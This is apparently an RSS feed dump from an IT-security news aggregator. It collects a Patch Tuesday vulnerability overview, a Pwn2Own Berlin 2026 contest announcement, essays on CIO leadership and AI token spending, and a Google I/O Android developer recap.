More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access.

There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.

Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.

The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP notes that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.

There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.

The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering.

No new advisories are being released this month.

Looking Ahead

I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

]]> <![CDATA[Announcing Pwn2Own Berlin for 2026]]> https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/ https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/ Sat, 25 Jul 2026 19:00:42 +0200 📰 IT Security Nachrichten tsecurity.de If you just want to read the contest rules, click here.

 

Willkommen zurĂŒck, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and OffensiveCon. Outside of our shipping troubles, we had an amazing time and can’t wait to get back.

Last year, we added Artificial Intelligence as a category with great results. This year, we’re expanding this and splitting it into multiple different categories: AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products. In last year’s contest, NVIDIA targets had wins, losses, and collisions, so it will be interesting to see how they fare this year. The folks from AWS wanted to get into the fray as well, so they stepped up to co-sponsor this year’s event, which allows us to increase the reward for bugs in Firecracker. Of course, we have all of the returning categories as well, including web browsers, containers, servers, virtualization, and operating systems. There’s more than $1,000,000 in cash and prizes available for contestants. Last year, we awarded $1,078,750 for 28 unique 0-days over the three-day event. We’ll see if we can eclipse those numbers in 2026.

The contest begins on May 14, but registration closes on May 7, so don’t delay in getting those submissions in. We’re hoping for maximum participation, so set aside your vibe coding and show us what you can really do. We’re looking forward to some cutting-edge exploitation on display. For 2026, we have a total of 31 targets across 10 categories. Here is a full list of the categories for this year’s event:  

-- Virtualization
-- Web Browser
-- Enterprise Applications
-- Servers
-- Local Escalation of Privilege
-- Containers
-- AI Database
-- Coding Agents
-- Local Inference
-- NVIDIA

Of course, no Pwn2Own competition would be complete without us crowning a Master of Pwn (Meister von Pwn?). Since the order of the contest is decided by a random draw, contestants with an unlucky draw could still demonstrate fantastic research but receive less money since subsequent rounds go down in value. However, the points awarded for each unique, successful entry do not go down. Someone could have a bad draw and still accumulate the most points. The person or team with the most points at the end of the contest will be crowned Master of Pwn, receive 65,000 ZDI reward points (enough for Platinum status), a killer trophy, and a pretty snazzy jacket to boot.

Let's look at the details of the rules for this year's event.

Virtualization Category

Some of the highlights for each contest can be found in the Virtualization Category, and we’re thrilled to see what this year’s event could bring with it. As usual, VMware is the main highlight of this category as we’ll have VMware ESXi return with an award of $150,000. Last year produced the first ESXi exploits in Pwn2Own history, so it will be interesting to see if we get more. Microsoft also returns as a target and leads the virtualization category with a $250,000 award for a successful Hyper-V Client guest-to-host escalation. Kernel-based Virtual Machine (KVM) is our final target in this category with a prize of $50,000.

There’s an add-on bonus in this category as well. If a contestant can escape the guest OS, then gain arbitrary code execution on the virtualization target and obtain arbitrary code execution in the guest operating system on a separate virtual machine managed by the same targeted virtualization target, they’ll earn another $50,000. That could push the payout on a ESXi bug to $200,000. This bonus is for KVM and ESXi only. Here’s a detailed look at the targets and available payouts in the Virtualization category:

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Web Browser Category

While browsers are the “traditional” Pwn2Own target, we’re continuously tweaking the targets in this category to ensure they remain relevant. We re-introduced renderer-only exploits a couple of years ago, and this year, we’ve increased the award to $75,000. In fact, we’ve increased the awards across the board for this category. Here’s a detailed look at the targets and available payouts:

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Enterprise Applications Category

Enterprise applications return as targets with Adobe Reader and various Office components on the target list once again. Attempts in this category must be launched from the target under test. For example, launching the target under test from the command line is not allowed. Prizes in this category run from $50,000 for a Reader exploit with a sandbox escape or a Reader exploit with a kernel privilege escalation, and $150,000 for an Office 365 application. Word, Excel, and PowerPoint are all valid targets. Microsoft Office-based targets will have Protected View enabled where applicable. Adobe Reader will have Protected Mode enabled where applicable.

This year, we’re adding a bonus for Copilot data exfiltration and Copilot action execution. Microsoft just patched a bug like this in Excel, so we know they are out there. If you’re able to exploit Copilot in addition to a Microsoft application, you’ll earn an additional $50,000. There are quite a few rules and scenarios around this add-on, so be sure to read the rules carefully and contact us with questions. Here’s a detailed view of the targets and payouts in the Enterprise Application category:

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The Server Category

The Server Category for 2026 focuses solely on the server components we’re most interested in. These servers are often targeted by everyone from ransomware crews to nation/state actors, so we know there are exploits out there for them. The only question is whether we’ll see any of the competitors bring one of those exploits to Pwn2Own. Last year, the bugs demonstrated in SharePoint ended up being exploited in the wild, so we know people are looking for these with great interest. Microsoft Exchange has been a popular target for some time, and it returns as a target this year as well, with a payout of $200,000. This category is rounded out by Microsoft Windows RDP/RDS, which also has a payout of $200,000. Here’s a detailed look at the targets and payouts in the Server category:

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Local Escalation of Privilege Category

This category is a classic for Pwn2Own and focuses on attacks that originate from a standard user and result in executing code as a high-privileged user. A successful entry in this category must leverage a kernel vulnerability to escalate privileges. Red Hat Enterprise Linux for Workstations returns as our Linux-based target, while Apple macOS, and Microsoft Windows 11 return as targets in this category. Prior exploits in this category have won Pwnie awards, so they’re always interesting to see. Here’s a detailed look at the targets and payouts in this category:

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The Container Category

We’re excited to have this category return for its third season, and we’re hopeful that even more contestants will target one of these container targets. For an attempt to be ruled a success against these three, the exploit must be launched from within the guest container/microVM and execute arbitrary code on the host operating system. Again, with help from AWS, Firecracker returns as a target with a prize of $100,000. Here are the targets and payouts for this category:

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AI Database Category

In the past, AI Hackathons have focused on using AI to develop vulnerabilities or other offensive frameworks. We’re opening up the models and various components themselves for exploitation. The first AI sub-category focuses on databases. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Database category:

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The Coding Agent Category

Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a new category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:

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The Local Inference Category

We couldn’t leave local inference and LLMs out of Pwn2Own. These products claim to provide enhanced data privacy, zero-cost inference, lower latency, and fully offline functionality. We’ll see how the security stacks up. An attempt in this category must be launched from the contestant’s laptop within the contest network. Here are the targets and payouts for the Local Inference category:

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The NVIDIA Category

Our last AI sub-category focuses solely on NVIDIA products. For network accessible targets, an attempt must be launched from the contestant's laptop within the contest network. For NV Container Toolkit, the attempt must be launched from within a crafted container image and execute arbitrary code on the host operating system. For Megatron Bridge, entries that leverage vulnerabilities pertaining to pickle deserialization or that leverage a vulnerability when “trust_remote_code=true” are out of scope. Here are the targets and payouts for the NVIDIA category:

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Conclusion

The complete rules for Pwn2Own Berlin 2026 are found here. As always, we highly encourage entrants to read the rules thoroughly if they choose to participate. If you are thinking about participating but have specific configuration or rule-related questions, email us. Questions asked over X (nee Twitter), BlueSky, or other means will not be answered. Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at pwn2own@trendmicro.com to begin the registration process. Registration for onsite participation closes at 5 p.m. Central European Time on May 7, 2026.

Be sure to stay tuned to this blog and follow us on Twitter, Mastodon, LinkedIn, or Bluesky for the latest information and updates about the contest. We look forward to seeing everyone in Germany, and we hope to see some of the best in the world show what they can do – vibe coded or not.

With special thanks to our Pwn2Own Berlin 2026 partners AWS, for providing their expertise and technology.

© 2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, ZERO DAY INITIATIVE, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.

]]> <![CDATA[AI success requires a full-stack CIO]]> https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/ https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/ Sat, 25 Jul 2026 18:57:42 +0200 📰 IT Security Nachrichten tsecurity.de

Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?

It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.

After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.

Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.

I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, influence a board, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.

Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.

While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.

That versatility gives Talasaz a unique lens on how CIOs can deliver value with AI.

Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.

The full-stack CIO: Leading with clarity

A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.

The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.

And those who execute best lead with clarity, Talasaz says.

“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”

One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.

As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.

And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.

“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”

At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.

Reducing organizational friction

Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”

Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?

Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.

AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.

Operating model as strategy enabler

AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.

Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.

“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.

The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.

This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.

Talasaz points out that technology leaders tend to speak in terms of transformation. He suggests CIOs consider a different word: reinvention.

As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.

Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.

Closing the gap between strategy and execution

Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”

As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”

Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.

Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.

The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.

This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.

Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to reach out to me directly.

]]> <![CDATA[Getting a grip on shadow tokens and AI blowouts]]> https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/ https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/ Sat, 25 Jul 2026 18:55:48 +0200 📰 IT Security Nachrichten tsecurity.de

Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowballs into an AI blowout.

This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why Microsoft is reportedly winding down many internal licenses across key engineering teams and why one in five organizations is missing its AI spend forecast by more than 50%.

And the trend is only accelerating. By 2028, Gartner predicts that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.

LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.

Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.

When shadow tokens result in real costs

The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.

And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.

According to Deloitte, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.

This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, described a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.

Shifting the culture from usage to yield

Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “tokenmaxxing,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.

None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save 3.6 hours per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.

Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.

Stopping token waste before an AI blowout

Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.

This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.

Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.

We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.

This is a conversation teams need to have now. Anthropic just ended flat-rate pricing for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.

Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[The Crow Girl season 2 is the 'unhinged, wild and deadly' crime drama you need to stream on Paramount+ and Channel 5 this weekend — I still can't wrap my head around its shocking finale]]> https://tsecurity.de/de/3693704/it-nachrichten/the-crow-girl-season-2-is-the-unhinged-wild-and-deadly-crime-drama-you-need-to-stream-on-paramount-and-channel-5-this-weekend-i-still-cant-wrap-my-head-around-its-shocking-finale/ https://tsecurity.de/de/3693704/it-nachrichten/the-crow-girl-season-2-is-the-unhinged-wild-and-deadly-crime-drama-you-need-to-stream-on-paramount-and-channel-5-this-weekend-i-still-cant-wrap-my-head-around-its-shocking-finale/ Sat, 25 Jul 2026 11:11:58 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[17 Things to know for Android developers at Google I/O]]> https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/ https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/ Sat, 25 Jul 2026 10:15:45 +0200 đŸ€– Android Tipps tsecurity.de
Posted by Matthew McCullough, VP, Product Management, Android Developer

Today at Google I/O, we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcements for Android developers; you can also see what was announced last week in The Android Show: I/O Edition. Stay tuned over the next two days as we dive into all of the topics in more detail!

Build High Quality Android Apps Using Agents

1: Android CLI: helping you build with any agent, LLM, and tool

Android CLI is now stable. It offers programmatic tools that allow any AI agent, including Claude Code, Codex, or Antigravity, to perform core Android tasks much more easily and efficiently. With today’s release, it also provides a bridge to tap directly into the "heavy-lifting" power of Android Studio to give you the production-ready polish needed for professional Android development. By leveraging the new android studio commands, developers can now grant their preferred agents the ability to perform semantic symbol resolution, analyze files for warnings, and even render Jetpack Compose previews. This release also enables official support for "Journeys" through new Android skills, which enables agents to execute end-to-end UI tests under your direction. Watch the developer keynote, and tune into the What’s New in Android tools talk for more information.    

You can now easily install Android CLI for use with Google Antigravity 2.0.

2: Build production-ready apps with ease in Google AI Studio

Developers and creators can now build native Android apps, simply with a prompt in Google AI Studio. The apps are built with development best practices like Jetpack Compose, Kotlin, and APIs that leverage our recommended developer patterns. Google AI Studio enables developers to prototype, iterate via an embedded emulator, and deploy to physical devices without heavy local installations. Developers are then able to take those apps and share them to Android devices, as well as share them with others for testing through Google Play Console’s internal testing track. If a developer wants to prepare their app for a wider release, they’re able to take it to Android Studio for advanced debugging, testing, and UI polish. Watch the developer keynote, and tune into the What’s New in Android tools talk for more information.

Use the embedded Android Emulator to create Android apps in Google AI Studio

3: Accelerating AI coding assistance with Android Bench

Android Bench is our LLM leaderboard for Android development challenges. The goal is to accelerate model improvements, so you have more useful options for AI assistance. Many of you have been using open-weight models for AI assistance, so we’re now adding commonly used ones, such as Gemma 4, to the leaderboard, so you can see how LLMs that offer offline access and additional flexibility for power-users measure up. We're continuously working on increasing the difficulty of challenges we’re giving LLMs, to continue encouraging more useful improvements. 

4: Convert iOS apps to Android with the Migration Assistant in Android Studio

The Migration Assistant in Android Studio is designed to port apps from platforms like iOS, React Native, or web frameworks to native Android. By simply selecting an existing project, developers can have the agent intelligently map features, convert assets like storyboards and SVGs, and implement Android best practices using Jetpack Compose and our recommended Jetpack libraries. This effectively transforms what used to be weeks of manual porting into a streamlined agentic workflow that only takes hours. We shared a preview of the incoming feature in the developer keynote. 
A sneak peek of the Migration Assistant converting an iOS app into a native Android app

Building AI Into Your Apps

5: Building Intelligent Apps with generative AI

Generative AI enables you to create apps that are more intelligent, personalized, and agentic than ever before. This year, we introduced the latest advancements in on-device intelligence with a preview of Gemini Nano 4 for tasks like data extraction and summarization. We also expanded cloud capabilities via Firebase AI Logic, allowing developers to leverage Gemini models with robust grounding (including URL, Maps, and web search) to build smarter, more capable assistants. Furthermore, we unveiled our hybrid inference approach and the new Agent Development Kit (ADK) for Android, alongside communication protocols like AG-UI and A2UI that simplify the creation of autonomous, agentic experiences. To start integrating these powerful features, explore the developer documentation, and watch the technical deep dive session where we showcase all these technologies.

6: Experiment with AppFunctions today

AppFunctions is an Android platform API with an accompanying Jetpack library to simplify building Android MCP integrations. It empowers your apps to behave like on device MCP servers, contributing functions that act as tools for use by agents and assistants. AppFunctions integration with Gemini is currently in a private preview with trusted testers, and you can begin preparing your apps already. You can sign up for the Early Access Program and start experimenting using the API guidance, sample, and skill today.

The Future is Adaptive

7: Android is now Compose First; Views are now in maintenance mode.

Compose is our standard for UI development, and we are moving to a Compose-first approach for all future guidance and libraries. Building on five years of evolution, the latest releases deliver a more mature toolkit, from the highly customizable Styles API to refined shared element transitions and enhanced input support. These updates allow you to build beautiful, adaptive apps with less code and better performance. Learn more about what Compose-first means for Android Development in our blog post. 

Build Android UI with Compose

8: Building seamless Android experiences across devices with Jetpack Compose

The Android ecosystem is now Adaptive by Default, moving fluidly across phones, foldables, tablets, cars, XR, and expanding usages with Googlebook and connected displays. With over 580 million large-screen devices, and users on multiple devices spending up to 14x more on apps, the investment in adaptive design presents a massive opportunity. Jetpack Compose is the definitive engine for this transition, offering core tools like our latest Jetpack Navigation 3 release, new experimental Grid and FlexBox layouts, enhanced non-touch input support, and CameraX for correct camera previews across any window size. Furthermore, new skills in Android Studio make updating your existing app to adopt these adaptive patterns easier than ever. Notability’s Android debut sets a new standard for premium productivity apps. Built with Jetpack Compose, Navigation 3, and Kotlin Multiplatform, it delivers an intuitive, adaptive experience across devices.

9: Create seamless experiences for Googlebook

Last week we announced Googlebook, a high-performance laptop that provides a large-screen canvas for your existing apps. Building with adaptive principles today helps ensure your app will work on Googlebook. Get started by reviewing relevant design guidance and developer guidelines for desktop experiences. Try out the new Desktop Emulator available in the Android Studio Canary to to test your apps for this form factor today.

New Desktop Android Emulator

10: Unified widget development experience with Jetpack Glance

Android 17 marks a shift toward a single, Compose-based development model for all widgets. By unifying the experience across mobile, Wear OS, and cars through Jetpack Glance, you can soon scale UI components across the ecosystem with a familiar workflow.

The breakthrough this year is the integration of RemoteCompose. On mobile and cars, it powers high-fidelity animations, while on Wear OS, it allows Wear Widgets (formerly Tiles) to render complex UI logic natively on remote surfaces. This ensures peak performance on low-power hardware while allowing a cohesive user journey—like checking a flight status on your car dashboard and seeing gate change updates on your wrist.

Four widgets are shown cycling through in the Android Auto interface. A clock, a contact card, Google Home favorites and a photo.

